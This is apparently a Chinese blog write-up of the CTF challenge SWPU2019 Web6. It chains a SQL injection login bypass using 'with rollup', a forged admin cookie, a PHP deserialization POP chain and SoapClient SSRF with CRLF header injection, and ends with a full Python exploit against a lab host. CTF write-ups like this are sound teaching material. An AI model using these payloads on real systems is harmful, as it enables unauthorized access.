• [SWPU2019]Web6


    知识点:SQL注入中的with rollup、SoapClient 和 Soapserver
    
    • 1

    登录分析

    先用万能密码测试一波,显示密码错误,那么判断点极有可能是在 password 上。

    ' or 1=1#
    1
    loginSELECT * FROM users WHERE username='' or 1=1#' and passwd='1'Wrong password
    
    • 1
    • 2
    • 3

    但是不管怎么式都没成功,看了大佬的 wp,猜测后台判断逻辑,然后用 with rollup绕过,又是一种没见过的姿势,先学一波。

    后台判断逻辑:
    $sql="select * from users where username='$name' and passwd='$pass'";
    $query = mysql_query($sql); 
    if (mysql_num_rows($query) == 1) { 
        $key = mysql_fetch_array($query);
        if($key['passwd'] == $_POST['passwd']) {
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    先简单介绍一下 with rollup 是什么:

    实现在分组统计数据基础上再进行相同的统计
    
    • 1

    在本地测试可以清晰的看出,如果不对数据进行一些例如:计数,求和之类的操作,直接 group by ... with rollup,就会返回空。

    mysql> SELECT * FROM employee_tbl;
    +----+------+---------------------+--------+
    | id | name | date                | signin |
    +----+------+---------------------+--------+
    |  1 | 小明 | 2016-04-22 15:25:33 |      1 |
    |  2 | 小王 | 2016-04-20 15:25:47 |      3 |
    |  3 | 小丽 | 2016-04-19 15:26:02 |      2 |
    |  4 | 小王 | 2016-04-07 15:26:14 |      4 |
    |  5 | 小明 | 2016-04-11 15:26:40 |      4 |
    |  6 | 小明 | 2016-04-04 15:26:54 |      2 |
    +----+------+---------------------+--------+
    6 rows in set (0.03 sec)
    
    mysql> SELECT name, COUNT(*) FROM   employee_tbl GROUP BY name;
    +------+----------+
    | name | COUNT(*) |
    +------+----------+
    | 小丽 |        1 |
    | 小明 |        3 |
    | 小王 |        2 |
    +------+----------+
    3 rows in set (0.03 sec)
    
    mysql> SELECT name, sum(signin) as signin_count FROM   employee_tbl GROUP BY name with rollup;
    +------+--------------+
    | name | signin_count |
    +------+--------------+
    | 小丽 | 2            |
    | 小明 | 7            |
    | 小王 | 7            |
    | NULL | 16           |
    +------+--------------+
    4 rows in set (0.04 sec)
    
    mysql> SELECT name, count(*) as signin_count FROM   employee_tbl GROUP BY name with rollup;
    +------+--------------+
    | name | signin_count |
    +------+--------------+
    | 小丽 |            1 |
    | 小明 |            3 |
    | 小王 |            2 |
    | NULL |            6 |
    +------+--------------+
    4 rows in set (0.04 sec)
    
    mysql> SELECT name, signin FROM employee_tbl GROUP BY name,signin with rollup;
    +------+--------+
    | name | signin |
    +------+--------+
    | 小丽 |      2 |
    | 小丽 | NULL   |
    | 小明 |      1 |
    | 小明 |      2 |
    | 小明 |      4 |
    | 小明 | NULL   |
    | 小王 |      3 |
    | 小王 |      4 |
    | 小王 | NULL   |
    | NULL | NULL   |
    +------+--------+
    10 rows in set (0.06 sec)
    
    mysql> SELECT name, count(signin) FROM employee_tbl GROUP BY name,signin with rollup;
    +------+---------------+
    | name | count(signin) |
    +------+---------------+
    | 小丽 |             1 |
    | 小丽 |             1 |
    | 小明 |             1 |
    | 小明 |             1 |
    | 小明 |             1 |
    | 小明 |             3 |
    | 小王 |             1 |
    | 小王 |             1 |
    | 小王 |             2 |
    | NULL |             6 |
    +------+---------------+
    10 rows in set (0.05 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78

    那么我们只要返回空的那一列,登录时密码为空就可以登录。
    limit 过滤了,可以用 having 代替。

    payload:

    1' or '1'='1' group by passwd with rollup having passwd is NULL#
    密码为空
    
    • 1
    • 2

    能成功也就是说 users 表,要么只有一列且列名是 passwd,或者是非标准格式。

    信息收集

    提示有:wsdl.php,但是我并没有找到。
    内容是个 xml 格式的数据,文件的名字和传参全在里面。

    可以通过 File_read 读源码,且在 hint 中也提示了几个文件,且 get_flag 需要 127.0.0.1访问,那么可能会是 ssrf
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    hint:
    a few file may be helpful index.php Service.php interface.php se.php
    
    • 1
    • 2

    密钥

    keyaaaaaaaasdfsaf.txt:flag{this_is_false_flag}
    
    • 1

    getflag

    访问 get_flag 的时候,显示要 admin,且是 127.0.0.1 才行,说明要以 admin 访问且地址是 127.0.0.1 。
    在这里插入图片描述
    在 index.php 中调用了 encode.php,那么我们先写个解密脚本。

    
    function en_crypt($content,$key){
        $key    =    md5($key);
        $h      =    0;
        $length    =    strlen($content);
        $swpuctf      =    strlen($key);
        $varch   =    '';
        for ($j = 0; $j < $length; $j++)
        {
            if ($h == $swpuctf)
            {
                $h = 0;
            }
            $varch .= $key{$h};
            
            $h++;
        }
        $swpu  =  '';
        
        for ($j = 0; $j < $length; $j++)
        {
            $swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
        }
        return base64_encode($swpu);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    decode.php

    
    function de_crypt($swup,$key){
    	$swup = base64_decode($swup);
    	$key    =    md5($key);
        $h      =    0;
        $length    =    strlen($swup);
        $swpuctf      =    strlen($key);
        $varch   =    '';
        for ($j = 0; $j < $length; $j++)
        {
            if ($h == $swpuctf)
            {
                $h = 0;
            }
            $varch .= $key{$h};
            
            $h++;
        }
        for($j = 0;$j < $length; $j++){
            if(ord($swup{$j}) > ord($varch{$j})){
                echo chr(ord($swup{$j}) - ord($varch{$j}));
            }else{
                echo chr(ord($varch{$j})+256-ord($swup{$j}));
            }
        }
    }
    
    de_crypt("3J6Roahxag==", "flag{this_is_false_flag}");
    //xiaoC:2
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    那我们伪造个 admin,en_crypt('admin:1','flag{this_is_false_flag}');

    测试,修改用户成功。
    在这里插入图片描述
    根据 se.php 构造个利用链。

    bb::mod1 
    
    => aa::_call
    
    => aa::_get($this->{$name=test2}触发)->mod2[test2]=cc
    
    => aa::_call->s1()->cc()
    
    => cc::_invoke->mod1
    
    => ee::_toString(str1=ee,str2=getflag)
    
    => dd::getflag
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    poc:

    
    ini_set('session.serialize_handler', 'php');
    class aa
    {
        public $mod1;
        public $mod2;
    }
    
    
    class bb
    {
        public $mod1;
        public $mod2;
    }
    
    class cc
    {
        public $mod1;
        public $mod2;
        public $mod3;
    }
    
    class dd
    {
        public $name;
        public $flag;
        public $b;
    
    }
    class ee
    {
        public $str1;
        public $str2;
    }
    $b = new bb();
    $a = new aa();
    $b->mod1 = $a;
    
    $c = new cc();
    $a->mod2['test2'] = $c;
    
    $e = new ee();
    $c->mod1 = $e;
    $d = new dd();
    $e->str1 = $d;
    $e->str2 = 'getflag';
    
    $d->flag = '';
    $d->b = '';
    
    echo serialize($b);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    那么怎么利用呢,call_user_func 的第二个参数是个数组,所以不能直接 rce,那么我们可以令 $d->b='call_user_func',令 array(reset($_SESSION),$this->flag); 可以调用 serverget_flag 方法。

    可以通过反序列化 SoapClient 类,令 location 指向 interface.php 即服务端,因为服务端的 setClassService 类,而Get_flag 方法在 Service 类中,最后我们通过 call_user_func 调用 SoapClient类的 Get_flag 方法即调用了Service 类的Get_flag 方法。

    
    $a = new SoapClient(null,array(
    	'user_agent'=>
    	'succ3^^X-Forwarded-For: 127.0.0.1^^Cookie: user=xZmdm9NxaQ==^^Content-Type:application/x-www-form-urlencoded',
    	'uri'=>'bbb', 
    	'location'=>'http://127.0.0.1/interface.php'));
    $b = serialize($a);
    $b = str_replace('^^',"\r\n",$b);
    echo '|'.urlencode($b);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    最后我们把我们 SoapClient 的反序列化写入session,通过 se.php 传入我们的 poc,调用 session。

    $d->flag = 'get_flag';
    $d->b = 'call_user_func';
    
    • 1
    • 2

    exp

    import requests
    from urllib import parse
    url = 'http://25b0ba10-b9fc-4f12-b7c8-44262ff9a28e.node4.buuoj.cn:81/index.php'
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS':parse.unquote("|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A30%3A%22http%3A%2F%2F127.0.0.1%2Finterface.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A108%3A%22succ3%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+user%3DxZmdm9NxaQ%3D%3D%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D")
    }
    files = [
            ('file', ('1.txt', b'a' * 40960, 'text/plain')),
        ]
    
    cookie = {
        'PHPSESSID':'succ3'
    }
    req_session = requests.post(url,cookies=cookie,data=data,files=files)
    
    url = 'http://25b0ba10-b9fc-4f12-b7c8-44262ff9a28e.node4.buuoj.cn:81/se.php'
    
    cookie = {
        'PHPSESSID':'succ3',
    }
    
    data = {
        'aa':'O:2:"bb":2:{s:4:"mod1";O:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";O:2:"cc":3:{s:4:"mod1";O:2:"ee":2:{s:4:"str1";O:2:"dd":3:{s:4:"name";N;s:4:"flag";s:8:"get_flag";s:1:"b";s:14:"call_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}'
    }
    
    req_flag = requests.post(url,cookies=cookie,data=data)
    print(req_flag.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    在这里插入图片描述

    reference

    php中soap使用:https://blog.csdn.net/nanshan_hzq/article/details/52814622
    PHP使用WSDL格式Soap通信 :https://www.cnblogs.com/hujun1992/p/wsdl.html
    wp:https://www.jianshu.com/p/71bc9bdd9882
    
    • 1
    • 2
    • 3
  • 相关阅读:
    React原理
    Python多线程的用法
    Json用法总结
    Bert如何融入知识一-百度和清华ERINE
    Pulsar 之Messaging 消息
    常见布局效果实现方案
    大连大学计算机考研资料汇总
    从入局到破局:商家怎样挖掘视频号的新增量?
    数组常见算法
    月薪5万以上的项目经理都达到了哪些标准?
  • 原文地址:https://blog.csdn.net/shinygod/article/details/127694362